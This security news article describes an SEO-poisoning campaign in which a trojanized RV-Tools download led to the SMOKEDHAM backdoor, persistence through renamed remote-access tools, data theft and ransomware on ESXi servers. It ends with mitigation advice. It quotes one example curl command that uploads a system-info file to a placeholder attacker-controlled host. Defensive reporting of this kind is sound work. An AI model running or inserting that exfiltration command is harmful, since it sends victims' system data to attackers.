Cybersecurity specialists have recently identified an alarming new attack strategy targeting IT administrators, using search engine optimization (SEO) manipulation to trick them into downloading malicious software.
By exploiting SEO tactics, cybercriminals have been able to position fake versions of essential administrative tools at the top of search engine results. This misleading placement creates a perilous situation for IT professionals, who unknowingly download weaponized versions of software that appear legitimate but carry harmful payloads capable of breaching corporate networks.
This represents a significant departure from conventional phishing techniques, with threat actors shifting toward more insidious “watering hole” style attacks. Here, malicious versions of administrative tools are cleverly disguised to look identical to the genuine ones administrators seek, yet they contain hidden backdoor code that remains undetected, giving attackers the ability to maintain command over compromised systems.
The compromised tools often function alongside the intended software, allowing them to run without raising suspicion. As a result, administrators are left unaware that they are running infected tools while the malware silently establishes persistent access to the network.
In one such instance, uncovered by Varonis researchers, an attack using SEO poisoning led to a major security breach. In this case, a domain administrator inadvertently downloaded a weaponized version of RV-Tools, a widely used VMware monitoring application, from a website engineered to appear at the top of search results.
Once the malware was executed, it installed additional malicious components, including a PowerShell-based .NET backdoor dubbed SMOKEDHAM. This allowed the attackers to maintain control over the compromised machine.
Following the initial compromise, the attackers conducted a thorough reconnaissance of the environment by issuing a series of system commands. The results were then secretly stored and transmitted back to the attackers’ remote infrastructure, facilitating further exploitation.
In this case, for example, system data was uploaded to an attacker-controlled Amazon EC2 instance, disguised as innocuous PNG image files, using commands such as:
nginx
curl -F “data=@C:\ProgramData\sysinfo.txt” http://attacker-controlled-ec2.amazonaws.com/upload.php
This new attack vector illustrates a growing sophistication in how cybercriminals are targeting IT administrators, blending in with legitimate processes to evade detection while wreaking havoc on corporate networks.
Attack Lifecycle (Source: Varonis)
The attackers employed a persistence strategy by installing covert remote access tools disguised under harmless names. In the case under investigation, the intruders deployed two seemingly legitimate tools: an employee monitoring software named Kickidler, which they renamed to “grabber.exe,” and a program called KITTY, renamed “fork.exe,” which was used to establish SSH tunnels.
These tools provided the attackers with a fail-safe mechanism, ensuring continued access to the compromised systems even if the original backdoor was detected and removed.
Once they secured ongoing access, the attackers often took a calculated pause, waiting several days before resuming further malicious actions. This break may have several reasons: to collect more credentials, to blend in with normal activity and avoid detection from security systems, or to represent a transition from automated exploitation to manual exploitation orchestrated by human attackers.
The ultimate consequences of such attacks can be devastating. In the case documented by Varonis, the attackers exfiltrated nearly a terabyte of sensitive data using the legitimate file transfer tool WinSCP. The attack escalated when ransomware was deployed, encrypting virtual machine disk files (VMDKs) on ESXi servers, which led to significant operational disruptions.
To mitigate the risk of similar attacks, organizations are advised to implement robust security measures, including strict application whitelisting, continuous monitoring for unusual administrative activities, limiting remote access protocols, and offering targeted security training for IT professionals, especially those who frequently download administrative tools.
